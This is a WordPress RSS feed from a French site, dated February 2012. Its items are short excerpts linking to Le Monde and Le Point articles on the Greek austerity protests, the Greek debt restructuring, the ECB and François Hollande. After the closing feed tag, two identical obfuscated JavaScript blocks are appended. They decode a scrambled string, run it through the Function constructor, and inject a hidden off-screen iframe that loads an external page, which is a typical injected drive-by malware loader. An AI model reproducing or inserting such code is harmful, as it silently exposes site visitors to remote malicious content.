<?xml version="1.0" encoding="UTF8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smic S.M.I.C, &#187; Actualité</title>
	<atom:link href="http://www.le-smic.fr/category/actualite/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.le-smic.fr</link>
	<description>Salaire minimum interprofessionnel de croissance</description>
	<lastBuildDate>Sun, 12 Feb 2012 17:53:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Infographie &#8211; Violents affrontements entre manifestants et policiers à Athènes</title>
		<link>http://www.le-smic.fr/2012/02/12/infographie-violents-affrontements-entre-manifestants-et-policiers-a-athenes/</link>
		<comments>http://www.le-smic.fr/2012/02/12/infographie-violents-affrontements-entre-manifestants-et-policiers-a-athenes/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 17:53:44 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[nuit-par]]></category>
		<category><![CDATA[pour-protester]]></category>
		<category><![CDATA[protester]]></category>
		<category><![CDATA[qui-doit]]></category>
		<category><![CDATA[timents-sont]]></category>
		<category><![CDATA[tre-adopt]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/infographie-violents-affrontements-entre-manifestants-et-policiers-a-athenes/</guid>
		<description><![CDATA[80 000 personnes ont défilé à Athènes, où plusieurs bâtiments sont en flammes, pour protester contre le plan d'austérité qui doit être adopté dans la nuit par les députés. ]]></description>
			<content:encoded><![CDATA[<p>80 000 personnes ont défilé à Athènes, où plusieurs bâtiments sont en flammes, pour protester contre le plan d&#8217;austérité qui doit être adopté dans la nuit par les députés. </p>
<p><img src="http://s1.lemde.fr/image/2012/02/12/87x0/1642367_7_55ee_un-manifestant-lance-un-fumigene-sur-les_0fe9ce69629a6083820bdc04cf9b1570.jpg" /></p>
<p>Continue reading here:<br />
<a target="_blank" href="http://www.lemonde.fr/crise-financiere/infographe/2012/02/12/violents-affrontements-entre-manifestants-et-policiers-a-athenes_1642362_1581613.html#mf_sid=479688150" title="Infographie - Violents affrontements entre manifestants et policiers à Athènes">Infographie &#8211; Violents affrontements entre manifestants et policiers à Athènes</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/infographie-violents-affrontements-entre-manifestants-et-policiers-a-athenes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les points-clef du plan d&#8217;austérité grec</title>
		<link>http://www.le-smic.fr/2012/02/12/les-points-clef-du-plan-dausterite-grec/</link>
		<comments>http://www.le-smic.fr/2012/02/12/les-points-clef-du-plan-dausterite-grec/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 17:00:53 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[vote-des]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/les-points-clef-du-plan-dausterite-grec/</guid>
		<description><![CDATA[Principales mesures et enjeux du plan d'austérité soumis au vote des députés grecs, dimanche 12 février. ]]></description>
			<content:encoded><![CDATA[<p>Principales mesures et enjeux du plan d&#8217;austérité soumis au vote des députés grecs, dimanche 12 février. </p>
<p>Originally posted here:<br />
<a target="_blank" href="http://www.lemonde.fr/crise-financiere/article/2012/02/12/les-points-clef-du-plan-d-austerite-grec_1642357_1581613.html#mf_sid=479668415" title="Les points-clef du plan d'austérité grec">Les points-clef du plan d&#8217;austérité grec</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/les-points-clef-du-plan-dausterite-grec/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>40 000 manifestants s&#8217;opposent au plan de rigueur en Grèce</title>
		<link>http://www.le-smic.fr/2012/02/12/40-000-manifestants-sopposent-au-plan-de-rigueur-en-grece/</link>
		<comments>http://www.le-smic.fr/2012/02/12/40-000-manifestants-sopposent-au-plan-de-rigueur-en-grece/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 16:55:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[ont-manifest]]></category>
		<category><![CDATA[Salonique]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/40-000-manifestants-sopposent-au-plan-de-rigueur-en-grece/</guid>
		<description><![CDATA[Quelque 40 000 personnes ont manifesté à Athènes et Salonique contre le...]]></description>
			<content:encoded><![CDATA[<p>Quelque 40 000 personnes ont manifesté à Athènes et Salonique contre le&#8230;</p>
<p>See the original post:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/grece-25-000-personnes-manifestent-a-athenes-contre-l-austerite-12-02-2012-1430694_28.php" title="40 000 manifestants s'opposent au plan de rigueur en Grèce">40 000 manifestants s&#8217;opposent au plan de rigueur en Grèce</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/40-000-manifestants-sopposent-au-plan-de-rigueur-en-grece/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>25 000 manifestants se rassemblent devant le parlement grec</title>
		<link>http://www.le-smic.fr/2012/02/12/25-000-manifestants-se-rassemblent-devant-le-parlement-grec/</link>
		<comments>http://www.le-smic.fr/2012/02/12/25-000-manifestants-se-rassemblent-devant-le-parlement-grec/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 14:42:18 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[des-gaz]]></category>
		<category><![CDATA[minuit-heure]]></category>
		<category><![CDATA[nes-pour]]></category>
		<category><![CDATA[nouveau-plan]]></category>
		<category><![CDATA[ordre-ont]]></category>
		<category><![CDATA[rigueur-est]]></category>
		<category><![CDATA[tenter]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/25-000-manifestants-se-rassemblent-devant-le-parlement-grec/</guid>
		<description><![CDATA[Le vote du nouveau plan de rigueur est prévu à minuit heure locale. Les forces de l'ordre ont eu recours à des gaz lacrymogènes pour tenter de disperser la foule. ]]></description>
			<content:encoded><![CDATA[<p>Le vote du nouveau plan de rigueur est prévu à minuit heure locale. Les forces de l&#8217;ordre ont eu recours à des gaz lacrymogènes pour tenter de disperser la foule. </p>
<p><img src="http://s1.lemde.fr/image/2012/02/12/87x0/1642329_7_05a2_la-police-anti-emeute-prend-place-devant-le_13664ded7e4e1079f931567be662b62b.jpg" /></p>
<p>Go here to see the original:<br />
<a target="_blank" href="http://www.lemonde.fr/crise-financiere/article/2012/02/12/des-milliers-de-manifestants-se-rassemblent-devant-le-parlement-grec_1642334_1581613.html#mf_sid=479639086" title="25 000 manifestants se rassemblent devant le parlement grec">25 000 manifestants se rassemblent devant le parlement grec</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/25-000-manifestants-se-rassemblent-devant-le-parlement-grec/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le gouvernement grec veut présenter l&#8217;offre de restructuration de sa dette d&#8217;ici vendredi</title>
		<link>http://www.le-smic.fr/2012/02/12/le-gouvernement-grec-veut-presenter-loffre-de-restructuration-de-sa-dette-dici-vendredi/</link>
		<comments>http://www.le-smic.fr/2012/02/12/le-gouvernement-grec-veut-presenter-loffre-de-restructuration-de-sa-dette-dici-vendredi/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 13:19:29 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[anciers-priv]]></category>
		<category><![CDATA[offre-publique]]></category>
		<category><![CDATA[risque-sinon]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/le-gouvernement-grec-veut-presenter-loffre-de-restructuration-de-sa-dette-dici-vendredi/</guid>
		<description><![CDATA[La Grèce espère lancer "d'ici à vendredi 17 février" l'offre publique à ses créanciers privés pour la restructuration de sa dette, au risque sinon de s'exposer à "la faillite". ]]></description>
			<content:encoded><![CDATA[<p>La Grèce espère lancer &laquo;&nbsp;d&#8217;ici à vendredi 17 février&nbsp;&raquo; l&#8217;offre publique à ses créanciers privés pour la restructuration de sa dette, au risque sinon de s&#8217;exposer à &laquo;&nbsp;la faillite&nbsp;&raquo;. </p>
<p><img src="http://s2.lemde.fr/image/2011/11/05/87x0/1599413_7_f2d8_evangelos-venizelos-le-ministre-des-finances_014d09de74d55e09f3416374840a93be.jpg" /></p>
<p>Read more here:<br />
<a target="_blank" href="http://www.lemonde.fr/crise-financiere/article/2012/02/12/le-gouvernement-grec-veut-presenter-l-offre-de-restructuration-de-sa-dette-d-ici-vendredi_1642315_1581613.html#mf_sid=479610339" title="Le gouvernement grec veut présenter l'offre de restructuration de sa dette d'ici vendredi">Le gouvernement grec veut présenter l&#8217;offre de restructuration de sa dette d&#8217;ici vendredi</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/le-gouvernement-grec-veut-presenter-loffre-de-restructuration-de-sa-dette-dici-vendredi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les ministres arabes des Affaires étrangères sont réunis au Caire</title>
		<link>http://www.le-smic.fr/2012/02/12/les-ministres-arabes-des-affaires-etrangeres-sont-reunis-au-caire/</link>
		<comments>http://www.le-smic.fr/2012/02/12/les-ministres-arabes-des-affaires-etrangeres-sont-reunis-au-caire/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 13:19:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Affaires]]></category>
		<category><![CDATA[ministres-arabes]]></category>
		<category><![CDATA[unis-dimanche]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/les-ministres-arabes-des-affaires-etrangeres-sont-reunis-au-caire/</guid>
		<description><![CDATA[Les ministres arabes des Affaires étrangères se sont réunis dimanche au...]]></description>
			<content:encoded><![CDATA[<p>Les ministres arabes des Affaires étrangères se sont réunis dimanche au&#8230;</p>
<p>See the rest here:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/les-ministres-arabes-des-affaires-etrangeres-sont-reunis-au-caire-12-02-2012-1430657_28.php" title="Les ministres arabes des Affaires étrangères sont réunis au Caire">Les ministres arabes des Affaires étrangères sont réunis au Caire</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/les-ministres-arabes-des-affaires-etrangeres-sont-reunis-au-caire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Match France-Irlande reporté : Hollande s&#8217;est &quot;retenu&quot; de siffler</title>
		<link>http://www.le-smic.fr/2012/02/12/match-france-irlande-reporte-hollande-sest-retenu-de-siffler/</link>
		<comments>http://www.le-smic.fr/2012/02/12/match-france-irlande-reporte-hollande-sest-retenu-de-siffler/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 13:00:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Hollande]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/match-france-irlande-reporte-hollande-sest-retenu-de-siffler/</guid>
		<description><![CDATA[Le candidat PS à l'Elysée, François Hollande, a affirmé dimanche "comprendre...]]></description>
			<content:encoded><![CDATA[<p>Le candidat PS à l&#8217;Elysée, François Hollande, a affirmé dimanche &laquo;&nbsp;comprendre&#8230;</p>
<p>Read more:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/match-france-irlande-reporte-hollande-s-est-retenu-de-siffler-12-02-2012-1430649_28.php" title="Match France-Irlande reporté : Hollande s'est &quot;retenu&quot; de siffler">Match France-Irlande reporté : Hollande s&#8217;est &quot;retenu&quot; de siffler</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/match-france-irlande-reporte-hollande-sest-retenu-de-siffler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blog &#8211; La Banque Centrale Européenne risque-t-elle d&#8217;exploser en prêtant aux banques?</title>
		<link>http://www.le-smic.fr/2012/02/12/blog-la-banque-centrale-europeenne-risque-t-elle-dexploser-en-pretant-aux-banques/</link>
		<comments>http://www.le-smic.fr/2012/02/12/blog-la-banque-centrale-europeenne-risque-t-elle-dexploser-en-pretant-aux-banques/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 12:46:59 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[alarme-que]]></category>
		<category><![CDATA[Banque centrale]]></category>
		<category><![CDATA[envoyer-aux]]></category>
		<category><![CDATA[grave-inqui]]></category>
		<category><![CDATA[les-observateurs]]></category>
		<category><![CDATA[risques-dans]]></category>
		<category><![CDATA[situation-europ]]></category>
		<category><![CDATA[union-europ]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/blog-la-banque-centrale-europeenne-risque-t-elle-dexploser-en-pretant-aux-banques/</guid>
		<description><![CDATA[C'est un signal d'alarme que les observateurs de la situation européenne se doivent d'envoyer aux dirigeants de l'Union Européenne. L'accumulation de risques dans le bilan de la Banque Centrale Européenne (BCE) est devenu un sujet de grave inquiétude. ]]></description>
			<content:encoded><![CDATA[<p>C&#8217;est un signal d&#8217;alarme que les observateurs de la situation européenne se doivent d&#8217;envoyer aux dirigeants de l&#8217;Union Européenne. L&#8217;accumulation de risques dans le bilan de la Banque Centrale Européenne (BCE) est devenu un sujet de grave inquiétude. </p>
<p><img src="http://www.le-smic.fr/wp-content/33216fbaort-en-2008.jpg" /></p>
<p>Original post:<br />
<a target="_blank" href="http://finance.blog.lemonde.fr/2012/02/12/la-banque-centrale-europeenne-risque-t-elle-dexploser/#mf_sid=479596615" title="Blog - La Banque Centrale Européenne risque-t-elle d'exploser en prêtant aux banques?">Blog &#8211; La Banque Centrale Européenne risque-t-elle d&#8217;exploser en prêtant aux banques?</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/blog-la-banque-centrale-europeenne-risque-t-elle-dexploser-en-pretant-aux-banques/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>François Hollande s&#8217;en prend au gouvernement sur l&#8217;usine Renault au Maroc</title>
		<link>http://www.le-smic.fr/2012/02/12/francois-hollande-sen-prend-au-gouvernement-sur-lusine-renault-au-maroc/</link>
		<comments>http://www.le-smic.fr/2012/02/12/francois-hollande-sen-prend-au-gouvernement-sur-lusine-renault-au-maroc/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 12:30:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Maroc]]></category>
		<category><![CDATA[Renault]]></category>
		<category><![CDATA[une-usine]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/francois-hollande-sen-prend-au-gouvernement-sur-lusine-renault-au-maroc/</guid>
		<description><![CDATA[L'ouverture d'une usine Renault géante au Maroc illustre le gouffre qui...]]></description>
			<content:encoded><![CDATA[<p>L&#8217;ouverture d&#8217;une usine Renault géante au Maroc illustre le gouffre qui&#8230;</p>
<p>Originally posted here:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/francois-hollande-s-en-prend-au-gouvernement-sur-l-usine-renault-au-maroc-12-02-2012-1430640_28.php" title="François Hollande s'en prend au gouvernement sur l'usine Renault au Maroc">François Hollande s&#8217;en prend au gouvernement sur l&#8217;usine Renault au Maroc</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/francois-hollande-sen-prend-au-gouvernement-sur-lusine-renault-au-maroc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grèce : la rigueur ou &quot;le chaos&quot;</title>
		<link>http://www.le-smic.fr/2012/02/12/grece-la-rigueur-ou-le-chaos/</link>
		<comments>http://www.le-smic.fr/2012/02/12/grece-la-rigueur-ou-le-chaos/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 12:06:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[devoir-surmonter]]></category>
		<category><![CDATA[fronde-sociale]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/12/grece-la-rigueur-ou-le-chaos/</guid>
		<description><![CDATA[Le gouvernement grec va devoir surmonter dimanche la fronde sociale et...]]></description>
			<content:encoded><![CDATA[<p>Le gouvernement grec va devoir surmonter dimanche la fronde sociale et&#8230;</p>
<p><img src="http://www.lepoint.fr/images/2012/02/12/grece-rigueur-athenes-502717-jpg_343685.JPG" /></p>
<p>See original here:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/la-grece-appelee-a-voter-la-rigueur-sous-peine-de-chaos-12-02-2012-1430621_28.php" title="Grèce : la rigueur ou &quot;le chaos&quot;">Grèce : la rigueur ou &quot;le chaos&quot;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/12/grece-la-rigueur-ou-le-chaos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
